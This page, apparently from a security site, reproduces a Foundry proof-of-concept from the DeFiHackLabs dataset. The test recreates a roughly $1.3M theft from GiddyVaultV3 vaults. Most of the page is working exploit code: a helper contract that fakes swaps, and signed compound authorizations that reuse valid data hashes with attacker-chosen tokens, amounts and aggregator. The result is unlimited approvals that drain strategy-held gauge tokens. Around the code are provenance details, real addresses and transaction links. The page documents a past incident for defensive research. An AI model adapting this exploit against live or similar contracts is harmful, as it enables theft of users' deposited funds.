Public reproduction file
src/test/2026-04/giddyvaultv3_compound_auth_exp.sol
Public reproduction file for dataset entry GiddyVaultV3.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~$1.3M8// Attacker : 0x81fe3d7d35dfefa15b9e6800b6aefc3358e7b1569// Attack Contract : 0x7326a1ab0d696ae317958d136d6e4c693ea3452810// Attack Deployer : 0x50a5312bf627b6be07e60015ed3d418e992d76eb11// Vulnerable Contract : 0x5f0ad32c00641d1d2bb628ff341e0d4bb449431812// Attack Tx : https://etherscan.io/tx/0x5edb66a4c2ea55bba95d36d27713e3bb1c67c3c4199a8a1759e754c6f25482e514// @Info15// Vulnerable Contract Code : https://etherscan.io/address/0x5f0ad32c00641d1d2bb628ff341e0d4bb4494318#code17// @Analysis18// Twitter guy : https://x.com/DefimonAlerts/status/204733451753564202419//20// GiddyVaultV3 validates EIP-712 compound authorizations using only keccak256(SwapInfo.data).21// The attacker reused valid signed data while replacing fromToken, toToken, amount, and aggregator.22// Each compound call made a strategy approve the attacker helper for uint256.max, after which the23// helper drained the strategy-held YieldBasis gauge tokens to the attacker.25address constant ATTACKER = 0x81Fe3D7d35dFeFa15b9E6800B6aeFC3358E7b156;27address constant VAULT_TBTC = 0x9C247ccd24c23EDDBA399701CDA24051EBF605b7;28address constant VAULT_CBBTC = 0x51b9E3e9871247Ed7C2f07539B99CB97Ae99d080;29address constant VAULT_WBTC = 0x1D85E7BceAC3605d469debE006b46E9062238e67;31address constant STRATEGY_TBTC = 0xC99FC715E73294FD03B7C09d9a438A98F6C76ec3;32address constant STRATEGY_CBBTC = 0x0d5e628A44E7Ec94a2054A6c454127cfe5FcB690;33address constant STRATEGY_WBTC = 0x870fcD63DB2c68D8079166E311b1118B8aA26eD7;35address constant YB_TBTC_GAUGE = 0x30ba8b27F2128c770B90C965FF671E08b9310D21;36address constant YB_CBBTC_GAUGE = 0xf3081A2eB8927C0462864EC3FdbE927C842A0893;37address constant YB_WBTC_GAUGE = 0xbc56e3edB67b56d598aCE07668b138815F45d7aa;39uint256 constant TEST_SIGNER_KEY = 0xA11CE;40bytes32 constant VAULTAUTH_TYPEHASH =41 keccak256("VaultAuth(bytes32 nonce,uint256 deadline,uint256 amount,bytes[] data)");43struct SwapInfo {44 address fromToken;45 address toToken;46 uint256 amount;47 address aggregator;48 bytes data;49}51struct VaultAuth {52 bytes signature;53 bytes32 nonce;54 uint256 deadline;55 uint256 amount;56 SwapInfo[] vaultSwaps;57 SwapInfo[] compoundSwaps;58}60interface IGiddyVaultV3 {61 function DOMAIN_SEPARATOR() external view returns (bytes32);63 function compound(64 VaultAuth calldata auth65 ) external;66}68interface IGiddyBaseStrategyV3 {69 function factory() external view returns (address);70}72interface IGiddyStrategyFactory {73 function owner() external view returns (address);75 function setAuthorizedSigner(76 address authorizedSigner,77 bool authorized78 ) external;80 function isAuthorizedSigner(81 address signer82 ) external view returns (bool);83}85contract ContractTest is BaseTestWithBalanceLog {86 function setUp() public {87 uint256 forkBlock = 24_942_491;88 vm.createSelectFork("mainnet", forkBlock);90 attacker = ATTACKER;91 fundingToken = YB_TBTC_GAUGE;92 multiAssetLog = true;93 _addFundingToken(YB_TBTC_GAUGE);94 _addFundingToken(YB_CBBTC_GAUGE);95 _addFundingToken(YB_WBTC_GAUGE);97 // Test setup creates valid Giddy signatures without embedding historical router calldata.98 authorizeTestSigner(STRATEGY_TBTC);99 authorizeTestSigner(STRATEGY_CBBTC);100 authorizeTestSigner(STRATEGY_WBTC);102 vm.label(ATTACKER, "Attacker");103 vm.label(VAULT_TBTC, "Giddy YieldBasis tBTC Vault");104 vm.label(VAULT_CBBTC, "Giddy YieldBasis cbBTC Vault");105 vm.label(VAULT_WBTC, "Giddy YieldBasis WBTC V2 Vault");106 vm.label(STRATEGY_TBTC, "Giddy tBTC Strategy");107 vm.label(STRATEGY_CBBTC, "Giddy cbBTC Strategy");108 vm.label(STRATEGY_WBTC, "Giddy WBTC Strategy");109 vm.label(YB_TBTC_GAUGE, "g(yb-tBTC)");110 vm.label(YB_CBBTC_GAUGE, "g(yb-cbBTC)");111 vm.label(YB_WBTC_GAUGE, "g(yb-WBTC)");112 vm.label(vm.addr(TEST_SIGNER_KEY), "Local Authorized Signer");113 }115 function testExploit() public balanceLog {116 vm.startPrank(ATTACKER);117 AttackHelper helper = new AttackHelper();118 address helperAddress = address(helper);119 vm.label(helperAddress, "Attack Helper / Fake Token");121 uint256 tbtcBefore = IERC20(YB_TBTC_GAUGE).balanceOf(ATTACKER);122 uint256 cbBtcBefore = IERC20(YB_CBBTC_GAUGE).balanceOf(ATTACKER);123 uint256 wbtcBefore = IERC20(YB_WBTC_GAUGE).balanceOf(ATTACKER);125 // step 1: submit a valid tBTC compound signature with attacker-controlled swap fields.126 address[] memory tbtcFakeSwaps = new address[](1);127 tbtcFakeSwaps[0] = YB_TBTC_GAUGE;128 helper.run(VAULT_TBTC, STRATEGY_TBTC, YB_TBTC_GAUGE, buildTbtcAuth(helperAddress), tbtcFakeSwaps);130 // step 2: repeat the same signature-coverage bypass for the cbBTC vault.131 address[] memory cbBtcFakeSwaps = new address[](2);132 cbBtcFakeSwaps[0] = YB_CBBTC_GAUGE;133 cbBtcFakeSwaps[1] = YB_CBBTC_GAUGE;134 helper.run(VAULT_CBBTC, STRATEGY_CBBTC, YB_CBBTC_GAUGE, buildCbBtcAuth(helperAddress), cbBtcFakeSwaps);136 // step 3: repeat against the WBTC V2 vault and keep the drained gauge tokens at the attacker EOA.137 address[] memory wbtcFakeSwaps = new address[](2);138 wbtcFakeSwaps[0] = YB_WBTC_GAUGE;139 wbtcFakeSwaps[1] = YB_WBTC_GAUGE;140 helper.run(VAULT_WBTC, STRATEGY_WBTC, YB_WBTC_GAUGE, buildWbtcAuth(helperAddress), wbtcFakeSwaps);142 vm.stopPrank();144 assertGt(IERC20(YB_TBTC_GAUGE).balanceOf(ATTACKER) - tbtcBefore, 3 ether);145 assertGt(IERC20(YB_CBBTC_GAUGE).balanceOf(ATTACKER) - cbBtcBefore, 6 ether);146 assertGt(IERC20(YB_WBTC_GAUGE).balanceOf(ATTACKER) - wbtcBefore, 6 ether);147 }149 function buildTbtcAuth(150 address helperAddress151 ) internal returns (VaultAuth memory auth) {152 auth.nonce = keccak256(bytes("tx2poc:giddy:tbtc"));153 auth.deadline = block.timestamp + 1 days;154 auth.vaultSwaps = new SwapInfo[](0);155 auth.compoundSwaps = new SwapInfo[](1);156 auth.compoundSwaps[0] = drainSwap(YB_TBTC_GAUGE, helperAddress);157 auth.signature = signAuth(VAULT_TBTC, auth);158 }160 function buildCbBtcAuth(161 address helperAddress162 ) internal returns (VaultAuth memory auth) {163 auth.nonce = keccak256(bytes("tx2poc:giddy:cbbtc"));164 auth.deadline = block.timestamp + 1 days;165 auth.vaultSwaps = new SwapInfo[](0);166 auth.compoundSwaps = new SwapInfo[](2);167 auth.compoundSwaps[0] = drainSwap(YB_CBBTC_GAUGE, helperAddress);168 auth.compoundSwaps[1] = drainSwap(YB_CBBTC_GAUGE, helperAddress);169 auth.signature = signAuth(VAULT_CBBTC, auth);170 }172 function buildWbtcAuth(173 address helperAddress174 ) internal returns (VaultAuth memory auth) {175 auth.nonce = keccak256(bytes("tx2poc:giddy:wbtc"));176 auth.deadline = block.timestamp + 1 days;177 auth.vaultSwaps = new SwapInfo[](0);178 auth.compoundSwaps = new SwapInfo[](2);179 auth.compoundSwaps[0] = drainSwap(YB_WBTC_GAUGE, helperAddress);180 auth.compoundSwaps[1] = drainSwap(YB_WBTC_GAUGE, helperAddress);181 auth.signature = signAuth(VAULT_WBTC, auth);182 }184 function drainSwap(185 address gaugeToken,186 address helperAddress187 ) internal pure returns (SwapInfo memory swap) {188 swap = SwapInfo({189 fromToken: gaugeToken,190 toToken: helperAddress,191 amount: type(uint256).max,192 aggregator: helperAddress,193 data: abi.encodeCall(AttackHelper.fakeSwap, ())194 });195 }197 function signAuth(198 address vault,199 VaultAuth memory auth200 ) internal returns (bytes memory signature) {201 bytes memory dataArray;202 for (uint256 i = 0; i < auth.vaultSwaps.length; ++i) {203 dataArray = abi.encodePacked(dataArray, keccak256(auth.vaultSwaps[i].data));204 }205 for (uint256 i = 0; i < auth.compoundSwaps.length; ++i) {206 dataArray = abi.encodePacked(dataArray, keccak256(auth.compoundSwaps[i].data));207 }209 bytes32 structHash = keccak256(210 abi.encodePacked(211 VAULTAUTH_TYPEHASH, abi.encode(auth.nonce, auth.deadline, auth.amount, keccak256(dataArray))212 )213 );214 bytes32 digest = keccak256(abi.encodePacked("\x19\x01", IGiddyVaultV3(vault).DOMAIN_SEPARATOR(), structHash));215 (uint8 v, bytes32 r, bytes32 s) = vm.sign(TEST_SIGNER_KEY, digest);216 signature = abi.encodePacked(r, s, v);217 }219 function authorizeTestSigner(220 address strategy221 ) internal {222 address factory = IGiddyBaseStrategyV3(strategy).factory();223 address signer = vm.addr(TEST_SIGNER_KEY);224 if (!IGiddyStrategyFactory(factory).isAuthorizedSigner(signer)) {225 vm.prank(IGiddyStrategyFactory(factory).owner());226 IGiddyStrategyFactory(factory).setAuthorizedSigner(signer, true);227 }228 assertTrue(IGiddyStrategyFactory(factory).isAuthorizedSigner(signer));229 vm.label(factory, "Giddy Strategy Factory");230 }231}233contract AttackHelper {234 event Transfer(address indexed from, address indexed to, uint256 amount);236 mapping(address => uint256) public balanceOf;237 address[] private queuedSwapTokens;238 uint256 private queuedSwapIndex;240 function run(241 address vault,242 address strategy,243 address profitToken,244 VaultAuth calldata auth,245 address[] calldata fakeSwapTokens246 ) external {247 delete queuedSwapTokens;248 for (uint256 i = 0; i < fakeSwapTokens.length; ++i) {249 queuedSwapTokens.push(fakeSwapTokens[i]);250 }251 queuedSwapIndex = 0;253 IGiddyVaultV3(vault).compound(auth);254 require(queuedSwapIndex == fakeSwapTokens.length, "fake swaps unused");255 delete queuedSwapTokens;257 uint256 strategyBalance = IERC20(profitToken).balanceOf(strategy);258 uint256 approved = IERC20(profitToken).allowance(strategy, address(this));259 uint256 amountToDrain = strategyBalance < approved ? strategyBalance : approved;260 require(amountToDrain > 0, "nothing to drain");261 IERC20(profitToken).transferFrom(strategy, msg.sender, amountToDrain);262 }264 function fakeSwap() external {265 fakeSwapMarker();266 }268 fallback() external payable {269 fakeSwapMarker();270 }272 receive() external payable {}274 function fakeSwapMarker() internal {275 require(queuedSwapIndex < queuedSwapTokens.length, "unexpected swap");276 address token = queuedSwapTokens[queuedSwapIndex++];278 IERC20(token).transferFrom(msg.sender, address(this), 1);279 balanceOf[msg.sender] += 1;280 emit Transfer(address(0), msg.sender, 1);281 }282}Analysis
Dataset entry
Public Foundry test for “GiddyVaultV3” (2026-04-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-04/AaveRebalancerCreditDelegation_exp.solSame month in the dataset · 126 lines
- src/test/2026-04/JUDAO_exp.solSame month in the dataset · 164 lines
- src/test/2026-04/JuiceboxREVLoans_exp.solSame month in the dataset · 231 lines
- src/test/2026-04/KipseliPropAMM_exp.solSame month in the dataset · 128 lines
- src/test/2026-04/MONA_LisaVault_exp.solSame month in the dataset · 247 lines
- src/test/2026-04/PerpPair_exp.solSame month in the dataset · 249 lines
- src/test/2026-04/RWAVault_exp.solSame month in the dataset · 133 lines
- src/test/2026-04/SaturnProtocol_exp.solSame month in the dataset · 211 lines
- src/test/2026-04/SingularityDynaVault_exp.solSame month in the dataset · 180 lines
- src/test/2026-04/SquidMulticallAllowanceDrain_exp.solSame month in the dataset · 99 lines
- src/test/2026-04/SubQuerySettings_exp.solSame month in the dataset · 168 lines
- src/test/2026-04/ThetanutsVaultShareRounding_exp.solSame month in the dataset · 105 lines
- src/test/2026-04/unverified_a152_exp.solSame month in the dataset · 184 lines
- src/test/2026-04/XLootStaking_exp.solSame month in the dataset · 197 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x81fe3d7d35dfefa15b9e6800b6aefc3358e7b156
- Attack Contract
0x7326a1ab0d696ae317958d136d6e4c693ea34528
- Vulnerable Contract
0x5f0ad32c00641d1d2bb628ff341e0d4bb4494318
- Attack Tx
0x5edb66a4c2ea55bba95d36d27713e3bb1c67c3c4199a8a1759e754c6f25482e5
File record
- Name
- GiddyVaultV3
- Path
- src/test/2026-04/giddyvaultv3_compound_auth_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 75008345fa4c4aa7e738a1621546c5226be16fc5
- Language
- Solidity
- Size
- 283 lines
- Date
- 2026-04-23
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-04/giddyvaultv3_compound_auth_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 75008345fa4c4aa7e738a1621546c5226be16fc5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.